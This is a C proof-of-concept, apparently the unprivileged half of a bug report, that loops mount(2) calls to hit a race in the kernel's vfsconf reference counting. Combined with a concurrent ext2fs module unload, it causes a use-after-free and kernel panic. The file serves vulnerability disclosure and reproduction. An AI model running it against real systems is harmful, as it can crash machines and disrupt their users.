/*
 * DF-2918 PoC - unprivileged side.
 *
 * Hammer mount(2) on a mountpoint we own for a modular filesystem type
 * (ext2fs). NOTE: the mounts do not need to succeed - the vulnerable
 * window is between sys_mount()'s vfsconf_find_by_name() 
 * (vfs_syscalls.c:313) and vfsp->vfc_refcount++ (:359), both of which
 * execute BEFORE VFS_MOUNT() is called. Each failed mount attempt still
 * crosses the window.
 *
 * If a concurrent kldunload of ext2fs unregisters+unloads the vfsconf
 * underneath us (vfs_init.c:464-479 checks vfc_refcount unsynchronized),
 * this thread's vfc_refcount++ writes into freed module address space
 * -> kernel panic (and mp->mnt_op would dangle into freed vfsops).
 *
 * usage: mountloop <dir> <fstype>   (run as unprivileged user, dir owned
 *                    by user, vfs.usermount=1)
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *dir, *fstype;
	long i, ok = 0, fail = 0;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <dir> <fstype>\n", argv[0]);
		return (1);
	}
	dir = argv[1];
	fstype = argv[2];
	for (i = 0;;i++) {
		int e = mount(fstype, dir, 0, NULL);
		if (e == 0) {
			ok++;
			if (unmount(dir, 0) < 0)
				perror("unmount");
		} else {
			fail++;
		}
		if ((i % 200000) == 0) {
			printf("pid=%d iter=%ld ok=%ld fail=%ld\n",
			       getpid(), i, ok, fail);
			fflush(stdout);
		}
	}
	/* NOTREACHED */
	return (0);
}
